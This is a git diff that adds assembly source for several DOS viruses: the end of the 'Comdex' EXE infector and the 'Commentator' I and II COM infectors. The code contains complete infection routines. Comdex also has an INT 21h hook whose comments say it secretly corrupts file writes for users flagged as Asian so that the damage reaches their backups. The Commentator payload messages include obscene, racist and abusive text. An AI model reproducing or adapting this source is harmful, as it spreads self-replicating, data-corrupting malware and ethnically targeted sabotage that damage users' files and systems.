odds + cmp al,55h ; printing a "U"? + jne notu + mov al,0efh ; make it upside-down! + jmp do17 ; and continue. +notu: cmp al,06fh ; lower case "o"? + jne do17 ; no? then exit. + mov al,093h ; make it an "o" with a ^ over it! + jmp do17 ; and exit. +not_asian: + jmp do17 + + +;Int 21 file adjustment routines - the following routines corrupt a small +;percentage of the file writes that Asians do in their use of the pc. For +;example, when one updates a spreadsheet or exits a word processor, the +;application software will re-write the file out to disk. What we do here +;is reduce the amount of the data that is written to the file. The hope +;is that the problem will be hidden for a significant period of time, since +;it happens only infrequently, and since it typically will happen upon exit +;of the application package. If the reduction of the write causes a serious +;problem (we hope it will) it won't usually be noticed until that file is +;loaded again. The other hope is that if the user does backup his data from +;time to time, this corrupted data will end up on the backup as well before +;the problem is noticed. With luck, maybe the user will assume that the +;hardware is intermittent, and backup the system over the top of his only +;existing backup set, then purchase replacement hardware. + + + +fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops + push ax + push di + push dx ;setup di for indexed operations + pop di + cmp byte ptr cs:[input_char],044h ;asian? + jne exit_fuck_f ;no, then do nothing + mov ax,word ptr cs:[timer] + and ax,00ffh ;mask off ls 8 bits of free run timer + cmp ax,0069h ;does it happen to be 69h? (1 of 256) + jne exit_fuck_f ;nope, so do nothing + + mov al,[ds:di+0] ;get first byte of user's fcb + cmp al,0ffh ;extended fcb? + jne norm_fcb ;nope, so handle as normal fcb + mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb. + dec ax ;adjust it a bit, since the user really doesn't + ;need to write so much data. + mov [ds:di+15h],ax + jmp exit_fuck_f ;subsequent r/w ops should fail to get the + ;right data until this file is closed or + ;until system crashes. + +norm_fcb: + mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb. + dec al ;reduce by 1 + mov [ds:di+0eh],al ;store it back +exit_fuck_f: + pop di + pop ax + jmp do21 + + +fuck_size_h: ;reduce length of handle file writes + push ax + push di + push dx + pop di + cmp byte ptr cs:[input_char],044h ;asian? + jne exit_fuck_h ;no, so don't damage anything. + mov ax,word ptr cs:[timer] + and ax,00ffh + cmp ax,0066h ;one out of 256 odds + jne try_again ;no? well give it another chance. + and cx,0fff5h ;reduce write length in bytes by a flakey amt + dec cx ;ranging from 1 to 11 bytes. +exit_fuck_h: + pop ax + jmp do21 + +try_again: + cmp ax,0077h ;one of 256 odds? + jne exit_fuck_h ;exit if not lucky. + mov ax,[ds:di+30h] ;get a user data byte from his buffer + xor ax,0004h ;toggle bit 2 of byte 30h + mov [ds:di+30h],ax ;and put it back + jmp exit_fuck_h + +;******************************************************************** +; +; this is the int 21 replacement. it only does something in +; the case of an execute program dos call. +; +;be careful here not to trap int codes that we use internally! +new21: jmp do21 ;&& + push ax + cmp word ptr cs:[internal],0ffh ;is it an internal int 21? + je do21 ;yup, so no tweaking allowed + pop ax + cmp ah,015h ;is it a fcb file write? + je fuck_size_f ;if asian, reduce record size by 1 + cmp ah,040h ;is it a handle file write? + je fuck_size_h ;if asian, adjust write length down. + cmp ah,4bh ;is it an int 21 code 4b? + je l5 ;yup. go affect stuff +do21: db 0eah ;nope. let dos handle it +old21 dw 0,0 +; +; the code to only affect every tenth program has been removed +; for now. restore this code later. +; + db 3dh ;confuse disassemblers +l5: call askit ;ask race if appropriate + push ax + push bx + push cx + push dx + push si + push ds +; +; search for the file name extension ... +; + mov bx,dx +l6: inc bx + cmp byte ptr [bx],'.' + je l8 + cmp byte ptr [bx],0 + jne l6 +; +; ... and quit unless it starts with "ex". +; +l7: pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp do21 +l8: inc bx + cmp word ptr [bx],5845h ;"EX" + jne l7 +; +; when an .exe file is found, Comdex starts by turning off +; the read-only attribute. the read-only attribute is not restored +; when the file has been affected. +; + mov ax,4300h ; get attribute + call int21 + jc l7 + mov ax,4301h ; set attribute + and cx,0feh + call int21 + jc l7 +; +; next, the file is examined to see if it is already affected. +; the signature (4418 5f19) is stored in the last two words. +; + mov ax,3d02h ; open / write access + call int21 + jc l7 + mov bx,ax ; file handle in bx +; +; this part of the code is new: get date of file. +; + mov ax,5700h + call int21 + jc l9 + mov cs:[date1],dx + mov cs:[date2],cx +; + push cs ; now ds is no longer needed + pop ds +; +; the header of the file is read in at [id+8]. Comdex then +; modifies itself, according to the information stored in the +; header. (the original cs and ip addressed are stored). +; + mov dx,offset id+8 + mov cx,1ch + mov ah,3fh + call int21 + jc l9 + mov ax,ds:id[1ch] + mov ds:[org_ip],ax + inc ax ;confuse reader a little + mov ax,ds:id[1eh] + add ax,10h + mov ds:[org_cs],ax +; +; next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. they are compared to the signature, +; and if equal nothing happens. +; + mov ax,4202h + mov cx,-1 + mov dx,-4 + call int21 + jc l9 + add ax,4 + mov ds:[len_lo],ax + jnc l8a + inc dx +l8a: mov ds:[len_hi],dx +; +; this part of Comdex is new - check if it is below minimum length +; + cmp dx,0 + jne l8b + mov cl,13 + shr ax,cl + cmp ax,0 + jg l8b + nop + jmp short l9 +l8b: mov ah,3fh + mov cx,4 + mov dx,offset id+4 + call int21 + jnc l11 +l9: mov ah,3eh + call int21 +l10: jmp l7 + db 3eh ;confuse disassemblers +; +; compare to 4f43,444d which is first 4 letters of Comdex +; +l11: mov si,offset id+4 + mov ax,[si] + cmp ax,4f43h ;ascii "OC" + jne l12 + mov ax,[si+2] + cmp ax,444dh ;ascii "DM" + je l9 +; +; the file is not affected, so the next thing Comdex does is +; affect it. first it is padded so the length becomes a multiple +; of 16 bytes. this is done so Comdex code can start at a +; paragraph boundary. +; +l12: mov ax,ds:[len_lo] + and ax,0fh + jz l13 + mov cx,16 + sub cx,ax + nop + add ds:[len_lo],cx + jnc l12a + inc ds:[len_hi] +l12a: mov ah,40h + call int21 ;dos write to file + jc l9 +; +; next the main body of Comdex is written to the end. +; +l13: xor dx,dx + mov cx,offset id + 4 + mov ah,40h ;dos write to file + call int21 + jc l9 +; +; next the .exe file header is modified: +; +; first modify initial ip +; +f0: mov ax,offset labl + mov ds:id[1ch],ax +; +; modify starting cs = Comdex cs. it is computed as: +; +; (original length of file+padding)/16 - start of load module +; + mov dx,ds:[len_hi] + mov ax,ds:[len_lo] + mov cl,cs:[const1] ; modified a bit + shr dx,cl + rcr ax,cl + nop + shr dx,cl + rcr ax,cl + shr dx,cl + rcr ax,cl + nop + shr dx,cl + rcr ax,cl + sub ax,ds:id[10h] + mov ds:id[1eh],ax +; +; modify length mod 512 +; + add ds:[len_lo],offset id+4 + jnc l14 + inc ds:[len_hi] +l14: mov ax,ds:[len_lo] + and ax,511 + nop + mov ds:id[0ah],ax +; +; modify number of blocks used +; + mov dx,ds:[len_hi] + mov ax,ds:[len_lo] + add ax,511 + jnc l14a + inc dx +l14a: mov al,ah + mov ah,dl + shr ax,1 + mov ds:id[0ch],ax +; +; finally the modified header is written back to the start of the +; file. +; +wrtback:mov ax,4200h + xor cx,cx + xor dx,dx + call int21 ;dos move file pointer + jc endit + mov ah,40h + mov dx,offset id+8 + mov cx,1ch + call int21 ;dos write to file +; +; this part is new: restore old date. +; + mov dx,cs:[date1] + mov cx,cs:[date2] + mov ax,5701h + call int21 ;dos set file date and time + jc endit + inc word ptr cs:[noinf] +; +; affection is finished - close the file and execute it +; +endit: jmp l9 +; +; + +timer dw 0 ; number of timer (int 8) ticks +const1 db 1 ; the constant 1 +const0 dw 0 ; the constant 0 +internal dw 0 ; internal int 21 in effect. +min50 db 0 ; flag, set to 1 50 minutes after execution +min60 db 0 ; flag, set to 1 60 minutes after execution +vmode db 0 ; video mode +date1 dw ? ; date of file +date2 dw ? ; ditto. +len_lo dw ? +len_hi dw ? +noinf dw 0 ; number of affections +id label word + db "COMD" ; the signature of Comdex. +; +; a buffer, used for data from the file. +; + +Comdex endp +code ends + + end labl + \ No newline at end of file diff --git a/c/COMMENT1 (47).ASM b/c/COMMENT1 (47).ASM new file mode 100755 index 0000000..96f0f6a --- /dev/null +++ b/c/COMMENT1 (47).ASM @@ -0,0 +1,334 @@ +;Ŀ +; Commentator Virus by Glenn... +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0DaDah ; Signature of virus! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect ; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Mov Ah,2Ch + Int 21h + Xor DL,DL + Xchg Dh,Dl + Add Dx,Dx +; And Dx,11111110b + Add Dx,Offset MsgTab + Mov Si,Dx + Mov Dx,Cs:[SI] + Mov AH,9 + Int 21h + Jmp CS:[Sprong] ;------------------ + +Msgtab DW offset Msg1 + DW offset Msg2 + DW offset Msg3 + DW offset Msg4 + DW offset Msg5 + DW offset Msg6 + DW offset Msg7 + DW offset Msg8 + DW offset Msg9 + DW offset Msg10 + DW offset Msg11 + DW offset Msg12 + DW offset Msg13 + DW offset Msg14 + DW offset Msg15 + DW offset Msg16 + DW offset Msg17 + DW offset Msg18 + DW offset Msg19 + DW offset Msg20 + DW offset Msg21 + DW offset Msg22 + DW offset Msg23 + DW offset Msg24 + DW offset Msg25 + DW offset Msg26 + DW offset Msg27 + DW offset Msg28 + DW offset Msg29 + DW offset Msg30 + DW offset Msg31 + DW offset Msg32 + DW offset Msg33 + DW offset Msg34 + DW offset Msg35 + DW offset Msg36 + DW offset Msg37 + DW offset Msg38 + DW offset Msg39 + DW offset Msg40 + DW offset Msg41 + DW offset Msg42 + DW offset Msg43 + DW offset Msg44 + DW offset Msg45 + DW offset Msg46 + DW offset Msg47 + DW offset Msg48 + DW offset Msg49 + DW offset Msg50 + DW offset Msg51 + DW offset Msg52 + DW offset Msg53 + DW offset Msg54 + DW offset Msg55 + DW offset Msg56 + DW offset Msg57 + DW offset Msg58 + DW offset Msg59 + DW offset Msg60 + +Msg1 Db 13,10,'McAfee is a bum-hole',13,10,'$' +Msg2 Db 13,10,'Patricia Hoffman is a virgin',13,10,'$' +Msg3 Db 13,10,'David Grant is a shithead',13,10,'$' +Msg4 Db 13,10,'Jan Terpstra sucks',13,10,'$' +Msg5 Db 13,10,'Vesselin Bontchev is a lamer',13,10,'$' +Msg6 Db 13,10,'Righard Zwienenberg is a cowboy',13,10,'$' +Msg7 Db 13,10,'Greetings to Cracker Jack in Italy',13,10,'$' +Msg8 Db 13,10,'MS-DOS could be programmed better',13,10,'$' +Msg9 Db 13,10,'A virus may not hang, it must replicate!',13,10,'$' +Msg10 Db 13,10,'(C) by Glenn Benton DVRL',13,10,'$' +Msg11 Db 13,10,'HAHAHA you have a virus',13,10,'$' +Msg12 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$' +Msg13 Db 13,10,'Program to big to fit in ass',13,10,'$' +Msg14 Db 13,10,'Another program bites the dust',13,10,'$' +Msg15 Db 13,10,'Havahey! Another Me born to serve',13,10,'$' +Msg16 Db 13,10,'Deicide wasnt that good after all...',13,10,'$' +Msg17 Db 13,10,'DEICIDE, MORGOTH, BREEZE, BROTHER by Glenn Benton',13,10,'$' +Msg18 Db 13,10,'Hey! Gimme some more disks!',13,10,'$' +Msg19 Db 13,10,'Stealth techniques are cool',13,10,'$' +Msg20 Db 13,10,'Encryption is usefull...',13,10,'$' +Msg21 Db 13,10,'Stephanie my lovely girl',13,10,'$' +Msg22 Db 13,10,'FPROT is compiled BASIC',13,10,'$' +Msg23 Db 13,10,'Fuck da police!',13,10,'$' +Msg24 Db 13,10,'Source soon aveable for jokes!',13,10,'$' +Msg25 Db 13,10,'Why dont you play with something else?',13,10,'$' +Msg26 Db 13,10,'Thanks to BORLAND for Turbo Assembler',13,10,'$' +Msg27 Db 13,10,'It is time for NORTON SPEED DISK',13,10,'$' +Msg28 Db 13,10,'Donald duck is a lie...',13,10,'$' +Msg29 Db 13,10,'Why dont you buy me a CHEESEBURGER?',13,10,'$' +Msg30 Db 13,10,'Wim Kok is a COMMUNIST!!!!',13,10,'$' + +Msg31 Db 13,10,'Xabaras could be better',13,10,'$' +Msg32 Db 13,10,'FAT has a nice technique',13,10,'$' +Msg33 Db 13,10,'This virus is not resident!',13,10,'$' +Msg34 Db 13,10,'Nobody like debugging...',13,10,'$' +Msg35 Db 13,10,'60 Messages in here?',13,10,'$' +Msg36 Db 13,10,'Out of worktime',13,10,'$' +Msg37 Db 13,10,'RAM parity error',13,10,'$' +Msg38 Db 13,10,'Insert porn magazine in drive A',13,10,'$' +Msg39 Db 13,10,'Insert tracktor toilet paper in printer',13,10,'$' +Msg40 Db 13,10,'Upload this virus to McAfee, please',13,10,'$' +Msg41 Db 13,10,'HIP-HOP sucks!',13,10,'$' +Msg42 Db 13,10,'Vote for Saddam.',13,10,'$' +Msg43 Db 13,10,'DEAD BY DAWN',13,10,'$' +Msg44 Db 13,10,'NAIL HIM LIKE JESUS!',13,10,'$' +Msg45 Db 13,10,'May I fuck with your wife?',13,10,'$' +Msg46 Db 13,10,'Hey CJ! What abouth a Corporation (I&DVRL)',13,10,'$' +Msg47 Db 13,10,'Thanx to Oliver North for giving me TASM',13,10,'$' +Msg48 Db 13,10,'Do not use drugs, make a virus!',13,10,'$' +Msg49 Db 13,10,'Register this produkt!',13,10,'$' +Msg50 Db 13,10,'This virus is SHAREWARE',13,10,'$' +Msg51 Db 13,10,'You will hate me for this',13,10,'$' +Msg52 Db 13,10,'See the sunny side of life',13,10,'$' +Msg53 Db 13,10,'DAME EDNA IS COOL!',13,10,'$' +Msg54 Db 13,10,'I like the pope, the pope smokes dope!',13,10,'$' +Msg55 Db 13,10,'We like the pope, he gives us his dope!',13,10,'$' +Msg56 Db 13,10,'Are you FLINTSTONED???',13,10,'$' +Msg57 Db 13,10,'How about a game of STRIP-POKER?',13,10,'$' +Msg58 Db 13,10,'FACES OF DEATH!',13,10,'$' +Msg59 Db 13,10,'Just one more message!!!',13,10,'$' +Msg60 Db 13,10,'Spread this like hell!',13,10,'$' + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/COMMENT2 (48).ASM b/c/COMMENT2 (48).ASM new file mode 100755 index 0000000..68efded --- /dev/null +++ b/c/COMMENT2 (48).ASM @@ -0,0 +1,334 @@ +;Ŀ +; Commentator Virus by Glenn... +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0DeDeh ; Signature of virus! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect ; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Mov Ah,2Ch + Int 21h + Xor DL,DL + Xchg Dh,Dl + Add Dx,Dx +; And Dx,11111110b + Add Dx,Offset MsgTab + Mov Si,Dx + Mov Dx,Cs:[SI] + Mov AH,9 + Int 21h + Jmp CS:[Sprong] ;------------------ + +Msgtab DW offset Msg1 + DW offset Msg2 + DW offset Msg3 + DW offset Msg4 + DW offset Msg5 + DW offset Msg6 + DW offset Msg7 + DW offset Msg8 + DW offset Msg9 + DW offset Msg10 + DW offset Msg11 + DW offset Msg12 + DW offset Msg13 + DW offset Msg14 + DW offset Msg15 + DW offset Msg16 + DW offset Msg17 + DW offset Msg18 + DW offset Msg19 + DW offset Msg20 + DW offset Msg21 + DW offset Msg22 + DW offset Msg23 + DW offset Msg24 + DW offset Msg25 + DW offset Msg26 + DW offset Msg27 + DW offset Msg28 + DW offset Msg29 + DW offset Msg30 + DW offset Msg31 + DW offset Msg32 + DW offset Msg33 + DW offset Msg34 + DW offset Msg35 + DW offset Msg36 + DW offset Msg37 + DW offset Msg38 + DW offset Msg39 + DW offset Msg40 + DW offset Msg41 + DW offset Msg42 + DW offset Msg43 + DW offset Msg44 + DW offset Msg45 + DW offset Msg46 + DW offset Msg47 + DW offset Msg48 + DW offset Msg49 + DW offset Msg50 + DW offset Msg51 + DW offset Msg52 + DW offset Msg53 + DW offset Msg54 + DW offset Msg55 + DW offset Msg56 + DW offset Msg57 + DW offset Msg58 + DW offset Msg59 + DW offset Msg60 + +Msg1 Db 13,10,'Cycle sluts from hell',13,10,'$' +Msg2 Db 13,10,'Virus Mania IV',13,10,'$' +Msg3 Db 13,10,'2 Live Crew is fucking cool',13,10,'$' +Msg4 Db 13,10,'Like Commentator I, HIP-HOP sucks',13,10,'$' +Msg5 Db 13,10,'Dr. Ruth is a first-class lady!',13,10,'$' +Msg6 Db 13,10,'Dont be a wimp, be dead!',13,10,'$' +Msg7 Db 13,10,'This dick was made for laying girls.',13,10,'$' +Msg8 Db 13,10,'No virus entry, just me!',13,10,'$' +Msg9 Db 13,10,'Dont bite it, you horny bitch!',13,10,'$' +Msg10 Db 13,10,'Stroke my keys, oh YES!',13,10,'$' +Msg11 Db 13,10,'Sex Revolution 4000',13,10,'$' +Msg12 Db 13,10,'Buck Rogers is fake',13,10,'$' +Msg13 Db 13,10,'(C) by Glenn Benton',13,10,'$' +Msg14 Db 13,10,'Registration number required',13,10,'$' +Msg15 Db 13,10,'The fly is alive',13,10,'$' +Msg16 Db 13,10,'Dont fuck with me, or I will kick some ass...',13,10,'$' +Msg17 Db 13,10,'Hey, dont hit the keys that hard!',13,10,'$' +Msg18 Db 13,10,'You will feel me...',13,10,'$' +Msg19 Db 13,10,'BEER BEER BEER BEER BEER BEER BEER!!!',13,10,'$' +Msg20 Db 13,10,'YOU HAVE A VIRUS, BWAH AH AH EH EH HEH ARF!',13,10,'$' +Msg21 Db 13,10,'I would alter Michael Jacksons face with my fists...',13,10,'$' +Msg22 Db 13,10,'WIM KOK IS STILL A COMMUNIST!',13,10,'$' +Msg23 Db 13,10,'Welcome to COMMENTATOR II',13,10,'$' +Msg24 Db 13,10,'Commentator I & II released!',13,10,'$' +Msg25 Db 13,10,'Legalize ABORTUS!',13,10,'$' +Msg26 Db 13,10,'Ronald McDonald goes Oude-Pekela!',13,10,'$' +Msg27 Db 13,10,'Source code soon aveable...',13,10,'$' +Msg28 Db 13,10,'Dont use a rubber against this virus!',13,10,'$' +Msg29 Db 13,10,'Swimming holiday in Bangladesh!',13,10,'$' +Msg30 Db 13,10,'Neo Nazis are a pile of shit.',13,10,'$' + +Msg31 Db 13,10,'Virus researchers are a pile of meat on the street.',13,10,'$' +Msg32 Db 13,10,'World Championship Cat-Throwing',13,10,'$' +Msg33 Db 13,10,'Yo Yo Yo Yo Yo Yo Yo, James Brown is DEAD!',13,10,'$' +Msg34 Db 13,10,'Yech, you are reminding me of my mother-in-law...',13,10,'$' +Msg35 Db 13,10,'How is the weather out there?',13,10,'$' +Msg36 Db 13,10,'Indalis is a fat bitch who looks like a glass-bin.',13,10,'$' +Msg37 Db 13,10,'Lubbers should be castrated for a long time ago.',13,10,'$' +Msg38 Db 13,10,'Legalize hookers (at a low prize!)',13,10,'$' +Msg39 Db 13,10,'Fist fucking sounds irrelevant to you, eh?',13,10,'$' +Msg40 Db 13,10,'I will be Back...',13,10,'$' +Msg41 Db 13,10,'Today it is..... JUDGEMENT DAY!!!',13,10,'$' +Msg42 Db 13,10,'Never mind the dog, beware of owner.',13,10,'$' +Msg43 Db 13,10,'You still owe me a CO-PROCESSOR!',13,10,'$' +Msg44 Db 13,10,'Do not drink and drive',13,10,'$' +Msg45 Db 13,10,'Last name ALMIGHTY, first name DICK',13,10,'$' +Msg46 Db 13,10,'Frodo lives!',13,10,'$' +Msg47 Db 13,10,'The leech lives',13,10,'$' +Msg48 Db 13,10,'Hey, Cracker Jack! Nice virus you made!',13,10,'$' +Msg49 Db 13,10,'A depressive Prince Claus looks like fun!',13,10,'$' +Msg50 Db 13,10,'Happy Eastern',13,10,'$' +Msg51 Db 13,10,'Thank god for AIDS',13,10,'$' +Msg52 Db 13,10,'Art is incredible stupid',13,10,'$' +Msg53 Db 13,10,'Out of semen error',13,10,'$' +Msg54 Db 13,10,'Incorrect BEF version',13,10,'$' +Msg55 Db 13,10,'Of je stopt de stekker erin?!?',13,10,'$' +Msg56 Db 13,10,'Jean Claude van Damme kicks ass.',13,10,'$' +Msg57 Db 13,10,'Cannabis expands the mind',13,10,'$' +Msg58 Db 13,10,'What is this memory? EMS XMS LIM HMA UMB?',13,10,'$' +Msg59 Db 13,10,'NOOOOOO NOT AN IBM SYSTEM, PLEASE!!!!!',13,10,'$' +Msg60 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$' + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 